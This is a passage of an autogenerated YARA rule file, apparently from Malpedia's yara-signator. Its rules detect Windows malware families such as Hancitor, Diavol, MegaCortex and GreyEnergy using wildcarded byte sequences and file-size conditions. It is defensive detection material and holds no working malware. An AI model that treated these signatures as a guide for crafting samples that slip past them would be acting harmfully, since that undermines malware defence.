		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8b7c241c 33ed 8b473c 8b443878 03c7 8b5024 }
		$sequence_1 = { 393d???????? 75af eb24 8b0d???????? }
		$sequence_2 = { 8b542430 894308 8b442428 83c414 }
		$sequence_3 = { 8b31 25ff0f0000 03c6 8bf7 }
		$sequence_4 = { 8b7af8 83c228 03f8 8bc1 c1e902 f3a5 }
		$sequence_5 = { 668b4b06 3be9 7cd0 5f 5e }
		$sequence_6 = { 7422 6a00 8d4c2404 6a20 51 6a03 }
		$sequence_7 = { ff15???????? 8d542400 52 e8???????? 33c0 81c408010000 }
		$sequence_8 = { 5b 81c410070000 c3 55 8bec 51 53 }
		$sequence_9 = { 3bef 741b 6800800000 57 }
	condition:
		7 of them and filesize < 131072
}

rule MALPEDIA_Win_Resident_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "1b67466a-54db-5e85-b74e-0f6af48d989f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.resident"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.resident_auto.yar#L1-L176"
		license_url = "N/A"
		logic_hash = "c657f6a8f6e1222a8318e6995666aff3bd59abbbd0dacc976a5ca7724d12794b"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 8d95dcf9ffff 52 6a00 ff15???????? 85c0 }
		$sequence_1 = { c1e606 03348500b94000 8b45f8 8b00 8906 8b45fc 8a00 }
		$sequence_2 = { 894c243c 8b4c2460 89442404 89542440 8b54245c }
		$sequence_3 = { 895c2410 c744240cffffffff 89742408 c744240400000000 }
		$sequence_4 = { e8???????? 89c6 85c0 0f8427010000 c70424???????? 8d6c243e e8???????? }
		$sequence_5 = { 8d85d8f9ffff e8???????? 8b95d4f9ffff 8bf0 03d2 8d45dc e8???????? }
		$sequence_6 = { 750f 33c0 807dfa01 0f94c0 8d740010 eb41 83f803 }
		$sequence_7 = { 8d55e4 52 ffd6 85c0 75e3 5b }
		$sequence_8 = { 6689442430 668954242c 8b542422 b830000000 6689442428 66894c242e 0fb74c2420 }
		$sequence_9 = { c744240800000000 c744240400000000 ff15???????? 83ec20 891c24 e8???????? }
		$sequence_10 = { 8d34ad00000000 8b04a8 890424 e8???????? 83f825 76da }
		$sequence_11 = { 8b37 89442418 8d460a 890424 e8???????? 89c3 85c0 }
		$sequence_12 = { 75e4 b801000000 893c24 8944241c e8???????? }
		$sequence_13 = { ff15???????? 6a04 8d55fc 52 6a06 }
		$sequence_14 = { ff15???????? 83ec04 0fb7442446 66895c2450 }
		$sequence_15 = { eb05 e8???????? 83c404 84c0 0f848e000000 }
	condition:
		7 of them and filesize < 125952
}

rule MALPEDIA_Win_Hancitor_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "816fbcdd-d0a4-5ec6-aee7-dc5bd967236b"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.hancitor"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.hancitor_auto.yar#L1-L255"
		license_url = "N/A"
		logic_hash = "92b7f15d306c0b7e353f23f95c271bcb97f7f829d7a8b924160714a7ac9e4284"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 6a00 6a00 6824040000 6a00 6a00 }
		$sequence_1 = { 6800010000 6a40 68???????? e8???????? }
		$sequence_2 = { 750d e8???????? 83c010 a3???????? }
		$sequence_3 = { 6a20 68???????? 68???????? e8???????? 83c410 }
		$sequence_4 = { 55 8bec 81ec58010000 6a44 }
		$sequence_5 = { c745f800000000 c745fc00000000 c745e800000000 6a40 6800300000 8b45f0 50 }
		$sequence_6 = { 57 8b483c 33f6 03c8 6a40 }
		$sequence_7 = { 50 c60600 ff15???????? 8b3d???????? }
		$sequence_8 = { 8b01 2b4234 03450c 8b4de0 8901 8b55f8 83c202 }
		$sequence_9 = { 8b4dec 8b5150 8955f0 c745f800000000 }
		$sequence_10 = { 8bec 8b4d08 6a00 6a01 }
		$sequence_11 = { 8b4508 0fbe08 83f97b 750b 8b5508 83c201 895508 }
		$sequence_12 = { 8955dc 8b45dc 8b08 894dd8 8b5508 }
		$sequence_13 = { 83f941 72ed 881d???????? c705????????01000000 }
		$sequence_14 = { 8b4c1010 51 6b55fc28 8b45f4 8b4d08 034c1014 51 }
		$sequence_15 = { c745fc00000000 b901000000 85c9 7448 8b5508 }
		$sequence_16 = { 41 3bc8 72f7 c6043000 40 }
		$sequence_17 = { 6a01 51 8b413c 8b440828 03c1 }
		$sequence_18 = { 83c410 83f801 750e 57 ff15???????? 8bd8 }
		$sequence_19 = { f9 a6 c3 4b fd 008d4556f400 08640f08 }
		$sequence_20 = { 40 8945d0 8b45c0 83c008 8945c0 8b45b8 }
		$sequence_21 = { 8b45a0 05c8d45566 7440 c745880a000000 eb07 8b4588 }
		$sequence_22 = { 55 08709e 891f 3e50 }
		$sequence_23 = { 2345e4 8945d8 c645f300 c645fc65 }
		$sequence_24 = { a1???????? 8945b4 a1???????? 83c044 a3???????? }
		$sequence_25 = { 8b45b4 83e803 8945b4 eb22 }
		$sequence_26 = { 0305???????? a3???????? a1???????? 0faf45bc a3???????? ebc5 8365d400 }
	condition:
		7 of them and filesize < 106496
}

rule MALPEDIA_Win_Yokai_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "b04b80f2-53b4-5c24-9a48-b847d3a545be"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.yokai"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.yokai_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "caca021b644694d243a390b5d4a331d52bc15ed81e965c2661870a1fa9d1ad5a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 83780400 7f5e 8b4d14 83790400 7514 8b5514 8b4208 }
		$sequence_1 = { 8945fc 837dfc00 751e 8b55fc 8955b4 8d4df4 e8???????? }
		$sequence_2 = { 8b4d24 51 6a00 6a7e 68???????? 68???????? 68???????? }
		$sequence_3 = { c645ac4c c645ad6f c645ae61 c645af64 c645b04c c645b169 c645b262 }
		$sequence_4 = { e8???????? 6a00 6a00 6a00 8d85a0fdffff 50 6a00 }
		$sequence_5 = { 0345d4 a3???????? 8b4dec 8b15???????? 2b5114 8915???????? 8b450c }
		$sequence_6 = { 8945c0 8b4dc0 898d70ffffff 8d9570ffffff 52 8d45d0 50 }
		$sequence_7 = { 8a11 8855ff 8b45f8 8b480c 83c101 8b55f8 894a0c }
		$sequence_8 = { 8d0c50 894df8 e8???????? c5fe7f4580 8b530c 2b55ec }
		$sequence_9 = { ff15???????? 3bf4 e8???????? 50 a1???????? 83c004 50 }
	condition:
		7 of them and filesize < 2066432
}

rule MALPEDIA_Win_Diavol_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "bc879f2f-8309-5494-be6c-2895dcf861fb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.diavol"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.diavol_auto.yar#L1-L125"
		license_url = "N/A"
		logic_hash = "46d9c76f218871fb04ea7d4fbbcd65e671198d70df944c765e3f433c4820310f"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8be5 5d c3 8d85c8fbffff 50 56 c785c8fbffff2c020000 }
		$sequence_1 = { 3bc3 72d8 8d8da0fdffff 68???????? 51 68???????? 8bd1 }
		$sequence_2 = { 83f8ff 752c 6a02 53 ff15???????? 53 ff15???????? }
		$sequence_3 = { 8d740004 56 e8???????? 83c404 56 8d95f8fdffff }
		$sequence_4 = { 0f84d4000000 6800040000 8d95f8f9ffff 6a00 52 }
		$sequence_5 = { 668b08 83c002 6685c9 75f5 8dbdf4efffff 2bc2 83c7fe }
		$sequence_6 = { 56 ff15???????? 57 e8???????? a1???????? 8b4dd0 8d1448 }
		$sequence_7 = { 8b8d38c2ffff 8d953cc2ffff 52 8d8540c2ffff 6a00 50 }
		$sequence_8 = { 8be5 5d c3 8d8405c0fbffff }
		$sequence_9 = { 8be5 5d c3 b902000000 6a50 }
	condition:
		7 of them and filesize < 191488
}

rule MALPEDIA_Win_Faketc_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "20700f38-ca76-52c3-a2fd-e577561f7238"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.faketc"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.faketc_auto.yar#L1-L134"
		license_url = "N/A"
		logic_hash = "88cb80bbffbb5dd33ed57d116a0c91ab50887b3cc89797bc963aaa34348dde48"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { e8???????? bd01000000 89ac2460010000 84db 7405 c644246c01 097c2470 }
		$sequence_1 = { c645fc10 e8???????? 83bdd0fdffff08 720f 8b95bcfdffff 52 e8???????? }
		$sequence_2 = { e8???????? 83c41c c3 8b4c2424 5f 5e 5d }
		$sequence_3 = { 8b91f0860000 83c201 8b81f4860000 83d000 8b4d08 8991f0860000 8981f4860000 }
		$sequence_4 = { e8???????? 83c40c 85c0 740f 8b45f8 c74048ffffffff e9???????? }
		$sequence_5 = { e8???????? 50 8d85b8060000 50 c645fc0c e8???????? 83c40c }
		$sequence_6 = { c1ef10 c1ed18 330cad18d45f00 81e7ff000000 2b0cbd18d85f00 8b7808 33f1 }
		$sequence_7 = { e8???????? 83c40c c744241401000000 89742418 c744241c00000000 83fe08 0f87c2010000 }
		$sequence_8 = { e8???????? a1???????? 33c4 89842450010000 53 55 8bac2460010000 }
		$sequence_9 = { e8???????? 83c408 85c0 7473 8b4df0 8b91a8020000 8b45f0 }
	condition:
		7 of them and filesize < 6864896
}

rule MALPEDIA_Win_Syscon_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "5a8ce706-db42-58e3-9d51-88fe0c5beb4f"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.syscon"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.syscon_auto.yar#L1-L167"
		license_url = "N/A"
		logic_hash = "e30c1d08a4b5a8899edc4bd6891355bf1333e55e03f2135a162795fd594797ac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 33c4 898424d80b0000 53 56 }
		$sequence_1 = { 47 83c604 897df8 80fb40 7412 8a55ff }
		$sequence_2 = { 8d942414040000 68???????? 52 ff15???????? 83c40c 6a00 }
		$sequence_3 = { 57 8bc6 e8???????? 83c408 56 }
		$sequence_4 = { 68e8030000 ffd6 6a00 6a20 6a03 }
		$sequence_5 = { a1???????? 68???????? 50 ff15???????? 85c0 0f846affffff }
		$sequence_6 = { ff15???????? e9???????? 8b8c24e40b0000 5f }
		$sequence_7 = { eb0c 53 68???????? ff15???????? 57 }
		$sequence_8 = { 488d5590 488d0daa300000 448bc0 e8???????? 488d8d20040000 }
		$sequence_9 = { e8???????? 488d0dab460000 ff15???????? 488d542420 488d0d99460000 }
		$sequence_10 = { 498bcc ff15???????? 488bcf ff15???????? bf04010000 }
		$sequence_11 = { 488d4c2440 448bc3 33d2 e8???????? 488d542440 b904010000 ff15???????? }
		$sequence_12 = { 488d8d90050000 488d159e2f0000 ff15???????? 488d9590050000 488d8d60010000 e8???????? 488d8d60010000 }
		$sequence_13 = { c705????????02000000 83f901 750a c705????????01000000 890d???????? 488b0d???????? 8915???????? }
		$sequence_14 = { 488d0d07460000 448bc0 e8???????? 488d542420 }
		$sequence_15 = { 89542420 4c8d442450 488d8d90050000 488d1514310000 }
	condition:
		7 of them and filesize < 120832
}

rule MALPEDIA_Win_Oldbait_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "3d100a63-9903-54ef-879e-2f52e4e2c1c3"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.oldbait"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.oldbait_auto.yar#L1-L229"
		license_url = "N/A"
		logic_hash = "3c4b648b9be2acfeca2a30294d4a7ef92b56cb886b14af5b01f11170901c19b6"
		score = 75
		quality = 73
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 7409 43 83c104 83fb40 72f3 }
		$sequence_1 = { 8b86f5b11800 8945cc 8b86fdb11800 8945bc }
		$sequence_2 = { 05d4db1900 8945f4 ff35???????? ff75fc }
		$sequence_3 = { 8d4b08 51 50 ff75e4 }
		$sequence_4 = { 50 57 ff55e8 6800080000 ff750c }
		$sequence_5 = { 3571281424 42 3bd6 894510 72da 8bc7 5f }
		$sequence_6 = { 56 56 50 ff75ac }
		$sequence_7 = { 6a00 6a01 6800000080 ff75f8 ff15???????? }
		$sequence_8 = { 57 8b7d08 8d70ff 85f6 }
		$sequence_9 = { 888800b01800 ebda 8b45fc 0531b11800 50 8b45f8 }
		$sequence_10 = { 47 0504040000 83ff08 72f0 83ff08 0f83a6000000 }
		$sequence_11 = { 6a40 6800300000 68d4fd1900 6a00 ff15???????? }
		$sequence_12 = { 50 ff7508 ff55e0 ff7508 8d83fcf7ffff }
		$sequence_13 = { 0f84d3010000 837d0800 0f84c9010000 837ddc0c 7518 }
		$sequence_14 = { 7626 8b4510 8bca 83f101 83e107 d3e8 }
		$sequence_15 = { 55 8bec 8b450c 56 33d2 57 8b7d08 }
		$sequence_16 = { 8b45f8 301c07 41 47 3b4d10 }
		$sequence_17 = { 50 8d45c4 50 68???????? ff35???????? ffd6 }
		$sequence_18 = { ff55d8 8bd8 83fbff 752c 8d45c4 50 }
		$sequence_19 = { 6a00 ff750c ff75fc ff55f0 }
		$sequence_20 = { 6a64 50 6a01 6a00 }
		$sequence_21 = { ffd6 ffd0 53 ff55e4 90 90 90 }
		$sequence_22 = { 50 ff75e0 e8???????? 90 }
		$sequence_23 = { 57 8d45ec 57 50 53 }
	condition:
		7 of them and filesize < 172032
}

rule MALPEDIA_Win_Grey_Energy_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "286c9a55-9cf0-55bb-80e0-2e0f311ee2a1"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.grey_energy"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.grey_energy_auto.yar#L1-L160"
		license_url = "N/A"
		logic_hash = "b914dfed1e2f2f24a40105da213346dd87b255cf1b7c608a5613862d55be27f8"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 50 53 53 6800000008 57 }
		$sequence_1 = { 6800000008 57 53 53 }
		$sequence_2 = { 68???????? 8945cc e8???????? 68???????? 8945d4 }
		$sequence_3 = { 8945d4 e8???????? 68???????? 8945d0 }
		$sequence_4 = { 53 ff15???????? 8b75f8 85f6 }
		$sequence_5 = { 8b45f8 0345ec 8808 eb10 }
		$sequence_6 = { 8b45ec 8b55f8 66890c42 eb14 8b45ec 8b4df8 8b55f0 }
		$sequence_7 = { 7507 33c0 e9???????? c745f004000000 }
		$sequence_8 = { 8b4df8 8b55f0 8b7508 668b1456 66891441 }
		$sequence_9 = { 8b4d08 0fb70c41 8b45f0 33d2 }
		$sequence_10 = { 6a40 ff15???????? 8945f8 837df800 7507 33c0 }
		$sequence_11 = { 8b4508 0345f0 0fbe08 8b45f0 }
		$sequence_12 = { c60100 41 48 75f9 ff75f8 }
		$sequence_13 = { ff5108 56 e9???????? 53 8d45cc 50 8d45c8 }
		$sequence_14 = { 83ec18 57 33ff 897dfc 397d0c 0f86a5010000 }
		$sequence_15 = { 51 e8???????? 85c0 0f84be000000 }
	condition:
		7 of them and filesize < 303104
}

rule MALPEDIA_Win_Unidentified_069_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "afe1465e-cfb7-567e-8fc3-f22e1927c9fa"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.unidentified_069"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.unidentified_069_auto.yar#L1-L131"
		license_url = "N/A"
		logic_hash = "83336718c29f0a03822d261021a531779ab99e146839ff186b37823c6377f602"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 8d4564 e8???????? 84c0 747b 807d6802 7558 }
		$sequence_1 = { 3975fc 0f824dffffff 5f 5b 8b450c 5e c9 }
		$sequence_2 = { ff15???????? 8b7d08 8b37 e8???????? 83f8ff 0f84a8010000 8b0d???????? }
		$sequence_3 = { 8b75f4 f6450804 741a 85f6 7616 8b7d0c 8d4477fe }
		$sequence_4 = { 7fae ff36 885dff ff15???????? 59 8a45ff 5f }
		$sequence_5 = { 8bda d1eb 23df 8b1c9da81d4000 81e3ffffff01 03c0 }
		$sequence_6 = { c20400 8b462c 85c0 7638 83f820 7411 57 }
		$sequence_7 = { 7505 895dd8 eb11 0fb7c0 03c7 50 83c8ff }
		$sequence_8 = { e8???????? 8bf8 85ff 0f8e97000000 8bca e8???????? }
		$sequence_9 = { ff15???????? 85c0 7419 6a00 68???????? 6a05 ba???????? }
	condition:
		7 of them and filesize < 434176
}

rule MALPEDIA_Win_Megacortex_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "208deefe-8484-5fed-92e0-3f970a206260"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.megacortex"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.megacortex_auto.yar#L1-L133"
		license_url = "N/A"
		logic_hash = "8fabc9945f7f432c61dd2181155b450bb3827a4277be45dd2f60b6e5a7f065dc"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f843e040000 53 ff75e4 e8???????? 83c408 8945e0 85c0 }
		$sequence_1 = { ff75c8 50 e8???????? 83c40c eb03 8b45c8 8b75b8 }
		$sequence_2 = { f7db 1bdb 23d8 8b4304 83c304 2bde 8d50ff }
		$sequence_3 = { 83c408 8d75fc 8b10 8d4aff f7d9 1bc9 }
		$sequence_4 = { c3 8bc7 c745f801000000 8d4dec c745fc01000000 2bc1 8d7304 }
		$sequence_5 = { f7da 1bd2 23d1 03d0 8d4d0c 2bf1 8d42ff }
		$sequence_6 = { f6430401 c645ff01 7506 8b45e4 894308 807dff00 0f8422030000 }
		$sequence_7 = { eb3a 83fb0b 7507 68???????? eb2e 83fb30 7507 }
		$sequence_8 = { 8d45d0 50 e8???????? 8d75e8 8b10 8d4aff f7d9 }
		$sequence_9 = { e8???????? 8d45b8 50 8d4e30 e8???????? 8b45d0 8d4d80 }
	condition:
		7 of them and filesize < 1556480
}

rule MALPEDIA_Win_Bibi_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "c2df99bb-e2c1-5d6e-93f4-9c5f5dcb8fbb"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bibi"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.bibi_auto.yar#L1-L122"
		license_url = "N/A"
		logic_hash = "3d7402c133784a89b3daa278c9e13f3e526d55f5078582b8c7ac35078977c2ac"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 0f840b010000 488d05a2af0100 4a8b04e8 42385cf838 0f8df5000000 e8???????? }
		$sequence_1 = { 754a 483bc2 0f84cc000000 660f1f440000 4c8929 4c896910 4c896918 }
		$sequence_2 = { 488b45bf 488b1cd0 488b5318 4883fa08 }
		$sequence_3 = { 89442424 488b4c2420 48898b78020000 488bc3 4c8d5c2460 }
		$sequence_4 = { 483bd9 7522 483bc1 7468 0f1f4000 0f1008 }
		$sequence_5 = { 488d15645c0100 e8???????? 85c0 7416 }
		$sequence_6 = { 7716 488bc6 4983f810 7203 488b06 48894e10 c6040800 }
		$sequence_7 = { 0f84a1000000 b901000000 e8???????? 483bd8 7509 488d3d70c00100 eb16 }
		$sequence_8 = { 6690 83fb0a 7d65 ba3d000000 e8???????? }
		$sequence_9 = { 4c8d04c0 498b84d140310300 42f644c03848 7430 8a8c2480000000 4c8b942490000000 80f90a }
	condition:
		7 of them and filesize < 462848
}

rule MALPEDIA_Win_Lambert_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "766677fc-20f5-5c4e-acc7-a5a40372da69"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.lambert"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.lambert_auto.yar#L1-L161"
		license_url = "N/A"
		logic_hash = "60e780dd4c006048bc0528824ae1f73ab836d6b104a44501df20cceb325dce70"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { 4f 42 3b7d10 724d }
		$sequence_1 = { 8b4d08 03481c 894de4 8b55f4 8b45e4 }
		$sequence_2 = { 33ce 314de8 890a 894de4 }
		$sequence_3 = { 7402 eb60 8b45fc 83c078 8945f0 8b4df0 }
		$sequence_4 = { 85c0 741f 8b4df8 c1e90d 8b55f8 c1e213 0bca }
		$sequence_5 = { 41 8801 41 e9???????? 6afc 2b4d10 8b5514 }
		$sequence_6 = { 0f82a4000000 83fe06 0f822cffffff 8bc1 }
		$sequence_7 = { 33ce 33d1 33da 8970f0 }
		$sequence_8 = { 51 e8???????? 0fb7d0 0355f8 }
		$sequence_9 = { 0bca 894df8 8b45fc 0fb708 51 e8???????? }
		$sequence_10 = { 33c1 03c0 33c8 8bc1 c1e808 }
		$sequence_11 = { 8945fc 8b4d0c 8b55fc 3b5118 }
		$sequence_12 = { 2bc2 83f801 0f8208010000 803a00 }
		$sequence_13 = { 4f 42 42 eb56 }
		$sequence_14 = { 8b5508 031481 8955f4 8b45f4 50 e8???????? }
		$sequence_15 = { f7d2 8b45f4 335004 8955f8 8b4df4 }
	condition:
		7 of them and filesize < 1205248
}

rule MALPEDIA_Win_Ascentloader_Auto : FILE
{
	meta:
		description = "autogenerated rule brought to you by yara-signator"
		author = "Felix Bilstein - yara-signator at cocacoding dot com"
		id = "4372eef6-4656-5e4d-b175-471d65d2d6f2"
		date = "2026-01-05"
		modified = "2026-01-06"
		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.ascentloader"
		source_url = "https://github.com/malpedia/signator-rules//blob/173f2e2012643b57ff6521a58ba6dd57331de3c6/rules/win.ascentloader_auto.yar#L1-L115"
		license_url = "N/A"
		logic_hash = "3968524e74d1c6dce6af2edd09bc8b40e402c007d240f6b355af76ae453cb02a"
		score = 75
		quality = 75
		tags = "FILE"
		version = "1"
		tool = "yara-signator v0.6.0"
		signator_config = "callsandjumps;datarefs;binvalue"
		malpedia_rule_date = "20260105"
		malpedia_hash = "19b79e7cab4eaf532122e5b45a77dd8f6bb5cc79"
		malpedia_version = "20251219"
		malpedia_license = "CC BY-SA 4.0"
		malpedia_sharing = "TLP:WHITE"
	strings:
		$sequence_0 = { b8???????? eb0a b900240000 b8???????? }
		$sequence_1 = { 8b4df4 e8???????? 57 ff15???????? ff15???????? }
		$sequence_2 = { 8bf8 897dd8 85ff 7516 83c8ff e9???????? c745e440ac4100 }
		$sequence_3 = { 740b 8b55e8 8b4dfc e8???????? 8b4dfc }
		$sequence_4 = { 8955fc 83b88400000000 0f86ea000000 56 8bb080000000 }
		$sequence_5 = { c744243a62756700 ff15???????? 8b35???????? ffd6 }
		$sequence_6 = { 57 68000000f0 6a01 33db 894de8 53 }
		$sequence_7 = { 3b4814 7604 33c0 eb14 8b45fc 8b4df8 03481c }
		$sequence_8 = { e8???????? 8b4d10 8bd0 8b4514 }
		$sequence_9 = { 005caa40 0023 d18a0688078a 46 }
	condition:
		7 of them and filesize < 253952
}

rule MALPEDIA_Win_Action_Rat_Auto : FILE
{
	meta:
